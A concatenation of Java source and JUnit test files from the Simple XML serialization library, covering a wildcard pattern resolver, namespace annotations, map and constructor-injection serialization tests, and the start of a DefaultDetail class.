*
* @return this will return the first match within the resolver
*/
public M resolve(String text){
List<M> list = cache.get(text);
if(list == null) {
list = resolveAll(text);
}
if(list.isEmpty()) {
return null;
}
return list.get(0);
}
/**
* This will search the patterns in this <code>Resolver</code> to
* see if there is a pattern in it that matches the string given.
* This will search the patterns from the last entered pattern to
* the first entered. So that the last entered patterns are the
* most searched patterns and will resolve it first if it matches.
*
* @param text this is the string that is to be matched by this
*
* @return this will return all of the matches within the resolver
*/
public List<M> resolveAll(String text){
List<M> list = cache.get(text);
if(list != null) {
return list;
}
char[] array = text.toCharArray();
if(array == null) {
return null;
}
return resolveAll(text, array);
}
/**
* This will search the patterns in this <code>Resolver</code> to
* see if there is a pattern in it that matches the string given.
* This will search the patterns from the last entered pattern to
* the first entered. So that the last entered patterns are the
* most searched patterns and will resolve it first if it matches.
*
* @param text this is the string that is to be matched by this
* @param array this is the character array of the text string
*
* @return this will return all of the matches within the resolver
*/
private List<M> resolveAll(String text, char[] array){
List<M> list = new ArrayList<M>();
for(M match : stack) {
String wild = match.getPattern();
if(match(array, wild.toCharArray())){
cache.put(text, list);
list.add(match);
}
}
return list;
}
/**
* This inserts the <code>Match</code> implementation into the set
* so that it can be used for resolutions. The last added match is
* the first resolved. Because this changes the state of the
* resolver this clears the cache as it may affect resolutions.
*
* @param match this is the match that is to be inserted to this
*
* @return returns true if the addition succeeded, always true
*/
public boolean add(M match) {
stack.push(match);
return true;
}
/**
* This returns an <code>Iterator</code> that iterates over the
* matches in insertion order. So the first match added is the
* first retrieved from the <code>Iterator</code>. This order is
* used to ensure that resolver can be serialized properly.
*
* @return returns an iterator for the sequence of insertion
*/
public Iterator<M> iterator() {
return stack.sequence();
}
/**
* This is used to remove the <code>Match</code> implementation
* from the resolver. This clears the cache as the removal of
* a match may affect the resoultions existing in the cache. The
* <code>equals</code> method of the match must be implemented.
*
* @param match this is the match that is to be removed
*
* @return true of the removal of the match was successful
*/
public boolean remove(M match) {
cache.clear();
return stack.remove(match);
}
/**
* Returns the number of matches that have been inserted into
* the <code>Resolver</code>. Although this is a set, it does
* not mean that matches cannot used the same pattern string.
*
* @return this returns the number of matches within the set
*/
public int size() {
return stack.size();
}
/**
* This is used to clear all matches from the set. This ensures
* that the resolver contains no matches and that the resolution
* cache is cleared. This is used to that the set can be reused
* and have new pattern matches inserted into it for resolution.
*/
public void clear() {
cache.clear();
stack.clear();
}
/**
* This acts as a driver to the <code>match</code> method so that
* the offsets can be used as zeros for the start of matching for
* the <code>match(char[],int,char[],int)</code>. method. This is
* also used as the initializing driver for the recursive method.
*
* @param text this is the buffer that is to be resolved
* @param wild this is the pattern that will be used
*/
private boolean match(char[] text, char[] wild){
return match(text, 0, wild, 0);
}
/**
* This will be used to check to see if a certain buffer matches
* the pattern if it does then it returns <code>true</code>. This
* is a recursive method that will attempt to match the buffers
* based on the wild characters '?' and '*'. If there is a match
* then this returns <code>true</code>.
*
* @param text this is the buffer that is to be resolved
* @param off this is the read offset for the text buffer
* @param wild this is the pattern that will be used
* @param pos this is the read offset for the wild buffer
*/
private boolean match(char[] text, int off, char[] wild, int pos){
while(pos < wild.length && off < text.length){ /* examine chars */
if(wild[pos] == '*'){
while(wild[pos] == '*'){ /* totally wild */
if(++pos >= wild.length) /* if finished */
return true;
}
if(wild[pos] == '?') { /* *? is special */
if(++pos >= wild.length)
return true;
}
for(; off < text.length; off++){ /* find next matching char */
if(text[off] == wild[pos] || wild[pos] == '?'){ /* match */
if(wild[pos - 1] != '?'){
if(match(text, off, wild, pos))
return true;
} else {
break;
}
}
}
if(text.length == off)
return false;
}
if(text[off++] != wild[pos++]){
if(wild[pos-1] != '?')
return false; /* if not equal */
}
}
if(wild.length == pos){ /* if wild is finished */
return text.length == off; /* is text finished */
}
while(wild[pos] == '*'){ /* ends in all stars */
if(++pos >= wild.length) /* if finished */
return true;
}
return false;
}
/**
* This is used to cache resolutions made so that the matches can
* be acquired the next time without performing the resolution.
* This is an LRU cache so regardless of the number of resolutions
* made this will not result in a memory leak for the resolver.
*
* @author <NAME>
*/
private class Cache extends LimitedCache<List<M>> {
/**
* Constructor for the <code>Cache</code> object. This is a
* constructor that creates the linked hash map such that
* it will purge the entries that are oldest within the map.
*/
public Cache() {
super(1024);
}
}
/**
* This is used to store the <code>Match</code> implementations in
* resolution order. Resolving the match objects is performed so
* that the last inserted match object is the first used in the
* resolution process. This gives priority to the last inserted.
*
* @author <NAME>
*/
private class Stack extends LinkedList<M> {
/**
* The <code>push</code> method is used to push the match to
* the top of the stack. This also ensures that the cache is
* cleared so the semantics of the resolver are not affected.
*
* @param match this is the match to be inserted to the stack
*/
public void push(M match) {
cache.clear();
addFirst(match);
}
/**
* The <code>purge</code> method is used to purge a match from
* the provided position. This also ensures that the cache is
* cleared so that the semantics of the resolver do not change.
*
* @param index the index of the match that is to be removed
*/
public void purge(int index) {
cache.clear();
remove(index);
}
/**
* This is returned from the <code>Resolver.iterator</code> so
* that matches can be iterated in insertion order. When a
* match is removed from this iterator then it clears the cache
* and removed the match from the <code>Stack</code> object.
*
* @return returns an iterator to iterate in insertion order
*/
public Iterator<M> sequence() {
return new Sequence();
}
/**
* The is used to order the <code>Match</code> objects in the
* insertion order. Iterating in insertion order allows the
* resolver object to be serialized and deserialized to and
* from an XML document without disruption resolution order.
*
* @author <NAME>
*/
private class Sequence implements Iterator<M> {
/**
* The cursor used to acquire objects from the stack.
*/
private int cursor;
/**
* Constructor for the <code>Sequence</code> object. This is
* used to position the cursor at the end of the list so the
* first inserted match is the first returned from this.
*/
public Sequence() {
this.cursor = size();
}
/**
* This returns the <code>Match</code> object at the cursor
* position. If the cursor has reached the start of the
* list then this returns null instead of the first match.
*
* @return this returns the match from the cursor position
*/
public M next() {
if(hasNext()) {
return get(--cursor);
}
return null;
}
/**
* This is used to determine if the cursor has reached the
* start of the list. When the cursor reaches the start of
* the list then this method returns false.
*
* @return this returns true if there are more matches left
*/
public boolean hasNext() {
return cursor > 0;
}
/**
* Removes the match from the cursor position. This also
* ensures that the cache is cleared so that resolutions
* made before the removal do not affect the semantics.
*/
public void remove() {
purge(cursor);
}
}
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/TypeTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.ValidationTestCase;
public class TypeTest extends ValidationTestCase {
private static final String SOURCE =
"<?xml version=\"1.0\"?>\n"+
"<test>\n"+
" <primitive>\n"+
" <boolean>true</boolean>\r\n"+
" <byte>16</byte> \n\r"+
" <short>120</short> \n\r"+
" <int>1234</int>\n"+
" <float>1234.56</float> \n\r"+
" <long>1234567</long>\n"+
" <double>1234567.89</double> \n\r"+
" </primitive>\n"+
" <object>\n"+
" <Boolean>true</Boolean>\r\n"+
" <Byte>16</Byte> \n\r"+
" <Short>120</Short> \n\r"+
" <Integer>1234</Integer>\n"+
" <Float>1234.56</Float> \n\r"+
" <Long>1234567</Long>\n"+
" <Double>1234567.89</Double> \n\r"+
" <String>text value</String>\n\r"+
" <Enum>TWO</Enum>\n"+
" </object>\n\r"+
"</test>";
@Root(name="test")
private static class Entry {
@Element(name="primitive")
private PrimitiveEntry primitive;
@Element(name="object")
private ObjectEntry object;
}
private static class PrimitiveEntry {
@Element(name="boolean")
private boolean booleanValue;
@Element(name="byte")
private byte byteValue;
@Element(name="short")
private short shortValue;
@Element(name="int")
private int intValue;
@Element(name="float")
private float floatValue;
@Element(name="long")
private long longValue;
@Element(name="double")
private double doubleValue;
}
private static class ObjectEntry {
@Element(name="Boolean")
private Boolean booleanValue;
@Element(name="Byte")
private Byte byteValue;
@Element(name="Short")
private Short shortValue;
@Element(name="Integer")
private Integer intValue;
@Element(name="Float")
private Float floatValue;
@Element(name="Long")
private Long longValue;
@Element(name="Double")
private Double doubleValue;
@Element(name="String")
private String stringValue;
@Element(name="Enum")
private TestEnum enumValue;
}
private static enum TestEnum {
ONE,
TWO,
THREE
}
private Persister persister;
public void setUp() throws Exception {
persister = new Persister();
}
public void testPrimitive() throws Exception {
Entry entry = persister.read(Entry.class, SOURCE);
entry = persister.read(Entry.class, SOURCE);
assertEquals(entry.primitive.booleanValue, true);
assertEquals(entry.primitive.byteValue, 16);
assertEquals(entry.primitive.shortValue, 120);
assertEquals(entry.primitive.intValue, 1234);
assertEquals(entry.primitive.floatValue, 1234.56f);
assertEquals(entry.primitive.longValue, 1234567l);
assertEquals(entry.primitive.doubleValue, 1234567.89d);
assertEquals(entry.object.booleanValue, Boolean.TRUE);
assertEquals(entry.object.byteValue, new Byte("16"));
assertEquals(entry.object.shortValue, new Short("120"));
assertEquals(entry.object.intValue, new Integer(1234));
assertEquals(entry.object.floatValue, new Float(1234.56));
assertEquals(entry.object.longValue, new Long(1234567));
assertEquals(entry.object.doubleValue, new Double(1234567.89));
assertEquals(entry.object.stringValue, "text value");
assertEquals(entry.object.enumValue, TestEnum.TWO);
StringWriter buffer = new StringWriter();
persister.write(entry, buffer);
validate(entry, persister);
entry = persister.read(Entry.class, buffer.toString());
assertEquals(entry.primitive.booleanValue, true);
assertEquals(entry.primitive.byteValue, 16);
assertEquals(entry.primitive.shortValue, 120);
assertEquals(entry.primitive.intValue, 1234);
assertEquals(entry.primitive.floatValue, 1234.56f);
assertEquals(entry.primitive.longValue, 1234567l);
assertEquals(entry.primitive.doubleValue, 1234567.89d);
assertEquals(entry.object.booleanValue, Boolean.TRUE);
assertEquals(entry.object.byteValue, new Byte("16"));
assertEquals(entry.object.shortValue, new Short("120"));
assertEquals(entry.object.intValue, new Integer(1234));
assertEquals(entry.object.floatValue, new Float(1234.56));
assertEquals(entry.object.longValue, new Long(1234567));
assertEquals(entry.object.doubleValue, new Double(1234567.89));
assertEquals(entry.object.stringValue, "text value");
assertEquals(entry.object.enumValue, TestEnum.TWO);
validate(entry, persister);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/NamespaceList.java<|end_filename|>
/*
* NamespaceList.java July 2008
*
* Copyright (C) 2008, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
/**
* The <code>NamespaceList</code> annotation that is used to declare
* namespaces that can be added to an element. This is used when
* there are several namespaces to add to the element without setting
* any namespace to the element. This is useful when the scope of a
* namespace needs to span several nodes. All prefixes declared in
* the namespaces will be available to the child nodes.
* <pre>
*
* <example xmlns:root="http://www.example.com/root">
* <anonymous>anonymous element</anonymous>
* </example>
*
* </pre>
* The above XML example shows how a prefixed namespace has been added
* to the element without qualifying that element. Such declarations
* will allow child elements to pick up the parents prefix when this
* is required, this avoids having to redeclare the same namespace.
*
* @author <NAME>
*
* @see org.simpleframework.xml.Namespace
*/
@Retention(RetentionPolicy.RUNTIME)
public @interface NamespaceList {
/**
* This is used to acquire the namespaces that are declared on
* the class. Any number of namespaces can be declared. None of
* the declared namespaces will be made the elements namespace,
* instead it will simply declare the namespaces so that the
* reference URI and prefix will be made available to children.
*
* @return this returns the namespaces that are declared.
*/
Namespace[] value() default {};
}
<|start_filename|>src/main/java/org/simpleframework/xml/stream/NodeException.java<|end_filename|>
/*
* NodeException.java July 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.stream;
/**
* The <code>NodeException</code> is thrown to indicate the state of
* either the input node or output node being invalid. Typically
* this is thrown if some illegal operation is requested.
*
* @author <NAME>
*/
public class NodeException extends Exception {
/**
* Constructor for the <code>NodeException</code> object. This is
* given the message to be reported when the exception is thrown.
*
* @param text a format string used to present the error message
*/
public NodeException(String text) {
super(text);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/UnionListConstructorInjectionTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import java.util.LinkedList;
import java.util.List;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.ElementUnion;
import org.simpleframework.xml.ElementListUnion;
public class UnionListConstructorInjectionTest extends ValidationTestCase {
@Root
private static class AccessControl{
@ElementListUnion({
@ElementList(entry="user", inline=true, type=UserIdentity.class),
@ElementList(entry="admin", inline=true, type=AdministratorIdentity.class)
})
private final List<Identity> users;
public AccessControl(@ElementList(name="user") List<Identity> users){
this.users = users;
}
public List<Identity> getUsers(){
return users;
}
}
@Root
private static class Identity{
private final String name;
public Identity(@Element(name="name") String name){
this.name = name;
}
@ElementUnion({
@Element(name="login"),
@Element(name="name"),
@Element(name="user")
})
public String getName(){
return name;
}
public boolean isAdministrator(){
return false;
}
}
@Root
public static class UserIdentity extends Identity{
@Element
private final String password;
public UserIdentity(@Element(name="name") String name, @Element(name="password") String password){
super(name);
this.password = password;
}
public String getPassword(){
return password;
}
}
@Root
public static class AdministratorIdentity extends UserIdentity{
public AdministratorIdentity(@Element(name="name") String name, @Element(name="password") String password){
super(name, password);
}
public boolean isAdministrator(){
return true;
}
}
public void testListInjection() throws Exception{
Persister persister = new Persister();
LinkedList<Identity> users = new LinkedList<Identity>();
users.add(new UserIdentity("a", "<PASSWORD>"));
users.add(new UserIdentity("b", "<PASSWORD>"));
users.add(new UserIdentity("c", "<PASSWORD>"));
users.add(new UserIdentity("d", "<PASSWORD>"));
users.add(new UserIdentity("e", "<PASSWORD>"));
users.add(new AdministratorIdentity("root", "<PASSWORD>"));
AccessControl control = new AccessControl(users);
StringWriter writer = new StringWriter();
persister.write(control, writer);
String text = writer.toString();
System.out.println(text);
AccessControl deserialized = persister.read(AccessControl.class, text);
assertEquals(deserialized.getUsers().get(0).getName(), "a");
assertEquals(deserialized.getUsers().get(0).getClass(), UserIdentity.class);
assertEquals(UserIdentity.class.cast(deserialized.getUsers().get(0)).getPassword(), "<PASSWORD>");
assertEquals(deserialized.getUsers().get(1).getName(), "b");
assertEquals(deserialized.getUsers().get(1).getClass(), UserIdentity.class);
assertEquals(UserIdentity.class.cast(deserialized.getUsers().get(1)).getPassword(), "<PASSWORD>");
assertEquals(deserialized.getUsers().get(2).getName(), "c");
assertEquals(deserialized.getUsers().get(2).getClass(), UserIdentity.class);
assertEquals(UserIdentity.class.cast(deserialized.getUsers().get(2)).getPassword(), "<PASSWORD>");
assertEquals(deserialized.getUsers().get(3).getName(), "d");
assertEquals(deserialized.getUsers().get(3).getClass(), UserIdentity.class);
assertEquals(UserIdentity.class.cast(deserialized.getUsers().get(3)).getPassword(), "<PASSWORD>");
assertEquals(deserialized.getUsers().get(4).getName(), "e");
assertEquals(deserialized.getUsers().get(4).getClass(), UserIdentity.class);
assertEquals(UserIdentity.class.cast(deserialized.getUsers().get(4)).getPassword(), "<PASSWORD>");
assertEquals(deserialized.getUsers().get(5).getName(), "root");
assertEquals(deserialized.getUsers().get(5).getClass(), AdministratorIdentity.class);
assertEquals(UserIdentity.class.cast(deserialized.getUsers().get(5)).getPassword(), "<PASSWORD>");
validate(persister, deserialized);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/MapNullTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import java.math.BigDecimal;
import java.util.HashMap;
import java.util.Map;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementMap;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.core.Persister;
public class MapNullTest extends ValidationTestCase {
private static final String EMPTY_AS_NULL =
"<complexMap>\r\n" +
" <map class='java.util.HashMap'>\r\n" +
" <entry>\r\n" +
" <mapEntry>\r\n" +
" <name>3</name>\r\n" +
" <value>3</value>\r\n" +
" </mapEntry>\r\n" +
" </entry>\r\n" +
" <entry>\r\n" +
" <compositeKey>\r\n" +
" <name>name.1</name>\r\n" +
" <address>address.1</address>\r\n" +
" </compositeKey>\r\n" +
" <mapEntry>\r\n" +
" <name>1</name>\r\n" +
" <value>1</value>\r\n" +
" </mapEntry>\r\n" +
" </entry>\r\n" +
" <entry>\r\n" +
" <compositeKey>\r\n" +
" <name>name.2</name>\r\n" +
" <address>address.2</address>\r\n" +
" </compositeKey>\r\n" +
" <mapEntry>\r\n" +
" <name>2</name>\r\n" +
" <value>2</value>\r\n" +
" </mapEntry>\r\n" +
" </entry>\r\n" +
" <entry>\r\n" +
" <compositeKey>\r\n" +
" <name>name.4</name>\r\n" +
" <address>address.4</address>\r\n" +
" </compositeKey>\r\n" +
" </entry>\r\n" +
" </map>\r\n" +
"</complexMap>\r\n";
private static final String EMPTY_COMPOSITE_VALUE =
"<complexMap>\r\n" +
" <map class='java.util.HashMap'>\r\n" +
" <entry>\r\n" +
" <compositeKey>\r\n" +
" <name>name.4</name>\r\n" +
" <address>address.4</address>\r\n" +
" </compositeKey>\r\n" +
" </entry>\r\n" +
" </map>\r\n" +
"</complexMap>\r\n";
private static final String EMPTY_COMPOSITE_BLANK_VALUE =
"<complexMap>\r\n" +
" <map class='java.util.HashMap'>\r\n" +
" <entry>\r\n" +
" <compositeKey>\r\n" +
" <name>name.4</name>\r\n" +
" <address>address.4</address>\r\n" +
" </compositeKey>\r\n" +
" <mapEntry/>\r\n" +
" </entry>\r\n" +
" </map>\r\n" +
"</complexMap>\r\n";
private static final String EMPTY_COMPOSITE_KEY =
"<complexMap>\r\n" +
" <map class='java.util.HashMap'>\r\n" +
" <entry>\r\n" +
" <mapEntry>\r\n" +
" <name>3</name>\r\n" +
" <value>3</value>\r\n" +
" </mapEntry>\r\n" +
" </entry>\r\n" +
" </map>\r\n" +
"</complexMap>\r\n";
private static final String EMPTY_COMPOSITE_BLANK_KEY =
"<complexMap>\r\n" +
" <map class='java.util.HashMap'>\r\n" +
" <entry>\r\n" +
" <compositeKey/>\r\n" +
" <mapEntry>\r\n" +
" <name>3</name>\r\n" +
" <value>3</value>\r\n" +
" </mapEntry>\r\n" +
" </entry>\r\n" +
" </map>\r\n" +
"</complexMap>\r\n";
private static final String EMPTY_PRIMITIVE_VALUE =
"<primitiveMap>\r\n" +
" <table class='java.util.HashMap'>\r\n" +
" <entry>\r\n" +
" <string>example</string>\r\n" +
" </entry>\r\n" +
" </table>\r\n" +
"</primitiveMap>\r\n";
private static final String EMPTY_PRIMITIVE_BLANK_VALUE =
"<primitiveMap>\r\n" +
" <table class='java.util.HashMap'>\r\n" +
" <entry>\r\n" +
" <string>example</string>\r\n" +
" <bigDecimal/>\r\n" +
" </entry>\r\n" +
" </table>\r\n" +
"</primitiveMap>\r\n";
private static final String EMPTY_PRIMITIVE_KEY =
"<primitiveMap>\r\n" +
" <table class='java.util.HashMap'>\r\n" +
" <entry>\r\n" +
" <bigDecimal>4</bigDecimal>\r\n" +
" </entry>\r\n" +
" </table>\r\n" +
"</primitiveMap>\r\n";
private static final String EMPTY_PRIMITIVE_BLANK_KEY =
"<primitiveMap>\r\n" +
" <table class='java.util.HashMap'>\r\n" +
" <entry>\r\n" +
" <string/>\r\n" +
" <bigDecimal>4</bigDecimal>\r\n" +
" </entry>\r\n" +
" </table>\r\n" +
"</primitiveMap>\r\n";
@Root
private static class MapEntry {
@Element
private String name;
@Element
private String value;
public MapEntry() {
super();
}
public MapEntry(String name, String value) {
this.name = name;
this.value = value;
}
public boolean equals(Object other) {
if(other instanceof MapEntry) {
MapEntry entry = (MapEntry) other;
if(entry.value.equals(value)) {
return entry.name.equals(name);
}
}
return false;
}
}
@Root
private static class ComplexMap {
@ElementMap
private Map<CompositeKey, MapEntry> map;
public ComplexMap() {
this.map = new HashMap<CompositeKey, MapEntry>();
}
public String getValue(CompositeKey key) {
MapEntry entry = map.get(key);
if(entry != null) {
return entry.value;
}
return null;
}
}
@Root
private static class CompositeKey {
@Element
private String name;
@Element
private String address;
public CompositeKey() {
super();
}
public CompositeKey(String name, String address) {
this.name = name;
this.address = address;
}
public int hashCode() {
return name.hashCode() + address.hashCode();
}
public boolean equals(Object item) {
if(item instanceof CompositeKey) {
CompositeKey other = (CompositeKey)item;
return other.name.equals(name) && other.address.equals(address);
}
return false;
}
}
@Root
private static class PrimitiveMap {
@ElementMap(name="table")
private Map<String, BigDecimal> map;
public PrimitiveMap() {
this.map = new HashMap<String, BigDecimal>();
}
public BigDecimal getValue(String name) {
return map.get(name);
}
}
public void testEmptyCompositeValue() throws Exception {
Serializer serializer = new Persister();
ComplexMap value = serializer.read(ComplexMap.class, EMPTY_COMPOSITE_VALUE);
boolean valid = serializer.validate(ComplexMap.class, EMPTY_COMPOSITE_VALUE);
assertTrue(valid);
validate(value, serializer);
}
public void testEmptyCompositeBlankValue() throws Exception {
Serializer serializer = new Persister();
ComplexMap value = serializer.read(ComplexMap.class, EMPTY_COMPOSITE_BLANK_VALUE);
boolean valid = serializer.validate(ComplexMap.class, EMPTY_COMPOSITE_BLANK_VALUE);
assertTrue(valid);
validate(value, serializer);
}
public void testEmptyCompositeKey() throws Exception {
Serializer serializer = new Persister();
ComplexMap value = serializer.read(ComplexMap.class, EMPTY_COMPOSITE_KEY);
boolean valid = serializer.validate(ComplexMap.class, EMPTY_COMPOSITE_KEY);
assertTrue(valid);
validate(value, serializer);
}
public void testEmptyCompositeBlankKey() throws Exception {
Serializer serializer = new Persister();
ComplexMap value = serializer.read(ComplexMap.class, EMPTY_COMPOSITE_BLANK_KEY);
boolean valid = serializer.validate(ComplexMap.class, EMPTY_COMPOSITE_BLANK_KEY);
assertTrue(valid);
validate(value, serializer);
}
public void testEmptyPrimitiveValue() throws Exception {
Serializer serializer = new Persister();
PrimitiveMap value = serializer.read(PrimitiveMap.class, EMPTY_PRIMITIVE_VALUE);
boolean valid = serializer.validate(PrimitiveMap.class, EMPTY_PRIMITIVE_VALUE);
assertTrue(valid);
validate(value, serializer);
}
public void testEmptyPrimitiveBlankValue() throws Exception {
Serializer serializer = new Persister();
PrimitiveMap value = serializer.read(PrimitiveMap.class, EMPTY_PRIMITIVE_BLANK_VALUE);
boolean valid = serializer.validate(PrimitiveMap.class, EMPTY_PRIMITIVE_BLANK_VALUE);
assertTrue(valid);
validate(value, serializer);
}
public void testEmptyPrimitiveKey() throws Exception {
Serializer serializer = new Persister();
PrimitiveMap value = serializer.read(PrimitiveMap.class, EMPTY_PRIMITIVE_KEY);
boolean valid = serializer.validate(PrimitiveMap.class, EMPTY_PRIMITIVE_KEY);
assertTrue(valid);
validate(value, serializer);
}
public void testEmptyPrimitiveBlankKey() throws Exception {
Serializer serializer = new Persister();
PrimitiveMap value = serializer.read(PrimitiveMap.class, EMPTY_PRIMITIVE_BLANK_KEY);
boolean valid = serializer.validate(PrimitiveMap.class, EMPTY_PRIMITIVE_BLANK_KEY);
assertTrue(valid);
validate(value, serializer);
}
public void testNullValue() throws Exception {
Serializer serializer = new Persister();
PrimitiveMap primitiveMap = new PrimitiveMap();
primitiveMap.map.put("a", new BigDecimal(1));
primitiveMap.map.put("b", new BigDecimal(2));
primitiveMap.map.put("c", null);
primitiveMap.map.put(null, new BigDecimal(4));
StringWriter out = new StringWriter();
serializer.write(primitiveMap, out);
primitiveMap = serializer.read(PrimitiveMap.class, out.toString());
assertEquals(primitiveMap.map.get(null), new BigDecimal(4));
assertEquals(primitiveMap.map.get("c"), null);
assertEquals(primitiveMap.map.get("a"), new BigDecimal(1));
assertEquals(primitiveMap.map.get("b"), new BigDecimal(2));
validate(primitiveMap, serializer);
ComplexMap complexMap = new ComplexMap();
complexMap.map.put(new CompositeKey("name.1", "address.1"), new MapEntry("1", "1"));
complexMap.map.put(new CompositeKey("name.2", "address.2"), new MapEntry("2", "2"));
complexMap.map.put(null, new MapEntry("3", "3"));
complexMap.map.put(new CompositeKey("name.4", "address.4"), null);
validate(complexMap, serializer);
ComplexMap emptyNull = serializer.read(ComplexMap.class, EMPTY_AS_NULL);
assertEquals(emptyNull.getValue(new CompositeKey("name.1", "address.1")), "1");
assertEquals(emptyNull.getValue(new CompositeKey("name.2", "address.2")), "2");
assertEquals(emptyNull.getValue(null), "3");
assertEquals(emptyNull.getValue(new CompositeKey("name.4", "address.4")), null);
validate(emptyNull, serializer);
}
// TODO test the null values and exceptions with the map
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/TextConstructorInjectionWithTransformTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import junit.framework.TestCase;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
import org.simpleframework.xml.Text;
import org.simpleframework.xml.transform.Matcher;
import org.simpleframework.xml.transform.Transform;
public class TextConstructorInjectionWithTransformTest extends TestCase {
private static class DateTime {
private final String time;
public DateTime(){
this.time = null;
}
public DateTime(String time) {
this.time = time;
}
public String getTime() {
return time;
}
public String toString() {
return time;
}
}
private static class DateTimeTransform implements Transform<DateTime> {
public DateTime read(String text) throws Exception {
return new DateTime(text);
}
public String write(DateTime value) throws Exception {
return value.getTime();
}
}
public class DateTimeMatcher implements Matcher {
public Transform match(Class type) throws Exception {
if(type == DateTime.class) {
return new DateTimeTransform();
}
return null;
}
}
@Root
public static class Embargo {
@Attribute
private String name;
@Text
private DateTime embargo_datetime;
public Embargo(@Text DateTime embargo_datetime, @Attribute(name="name") String name) {
this.embargo_datetime = embargo_datetime;
this.name = name;
}
public DateTime getEmbargo() {
return embargo_datetime;
}
public void setEmbargo(DateTime embargo_datetime) {
this.embargo_datetime = embargo_datetime;
}
}
public void testConstructor() throws Exception {
Embargo embargo = new Embargo(new DateTime("2010-06-02T12:00:12"), "cuba");
Serializer serializer = new Persister(new DateTimeMatcher());
StringWriter writer = new StringWriter();
serializer.write(embargo, writer);
Embargo embargoout = serializer.read(Embargo.class, writer.toString());
System.out.println(writer.toString());
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/PathWithTextInAPathTest.java<|end_filename|>
package org.simpleframework.xml.core;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Path;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Text;
import org.simpleframework.xml.ValidationTestCase;
public class PathWithTextInAPathTest extends ValidationTestCase {
@Root
public static class InvalidTextWithElement {
@Path("a/b")
@Text
private String a;
@Path("a/b")
@Element(name="c")
private String b;
public InvalidTextWithElement(
@Text String a,
@Element(name="c") String b) {
this.a = a;
this.b = b;
}
}
@Root
public static class InvalidTextWithCrossingPath {
@Path("a/b")
@Text
private String a;
@Path("a/b/c")
@Text
private String b;
public InvalidTextWithCrossingPath(
@Path("a/b") @Text String a,
@Path("a/b/c") @Text String b) {
this.a = a;
this.b = b;
}
}
public void testInvalidText() throws Exception {
Persister persister = new Persister();
InvalidTextWithElement example = new InvalidTextWithElement("a", "b");
boolean failure = false;
try {
persister.write(example, System.out);
}catch(Exception e) {
e.printStackTrace();
failure = true;
}
assertTrue("Text annotation can not exist with elements in same path", failure);
}
public void testInvalidTextWithCrossingPath() throws Exception {
Persister persister = new Persister();
InvalidTextWithCrossingPath example = new InvalidTextWithCrossingPath("a", "b");
boolean failure = false;
try {
persister.write(example, System.out);
}catch(Exception e) {
e.printStackTrace();
failure = true;
}
assertTrue("Text annotation can not exist with crossing path", failure);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/DefaultDetail.java<|end_filename|>
/*
* DefaultDetail.java December 2012
*
* Copyright (C) 2012, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import java.lang.annotation.Annotation;
import java.lang.reflect.Constructor;
import java.util.List;
import org.simpleframework.xml.DefaultType;
import org.simpleframework.xml.Namespace;
import org.simpleframework.xml.NamespaceList;
import org.simpleframework.xml.Order;
import org.simpleframework.xml.Root;
/**
* This <code>DefaultDetail</code> object is used to create a detail
* object that contains a default access override. Default overrides
* can be used to scan a class with no annotations and treat it as if
* it was annotated with the <code>Default</code> annotation. This
* allows external classes to be serialized without modification.
*
* @author <NAME>
*/
class DefaultDetail implements Detail {
/**
* This is the default access type to be used with this detail.
*/
private final DefaultType access;
/**
* This is the original detail object that is to be delegated to.
*/
private final Detail detail;
/**
* Constructor for the <code>DefaultDetail</code> object. This is
* used to create a description of a class and also provide a
* default access override type. This is used when we want to scan
* a class with no annotations and extract default details.
*
* @param detail this is the detail that is delegated to
* @param access this is the access type override used
*/
public DefaultDetail(Detail detail, DefaultType access) {
this.detail = detail;
this.access = access;
}
/**
* This method is used to determine whether strict mappings are
* required. Strict mapping means that all labels in the class
* schema must match the XML elements and attributes in the
* source XML document. When strict mapping is disabled, then
* XML elements and attributes that do not exist in the schema
* class will be ignored without breaking the parser.
*
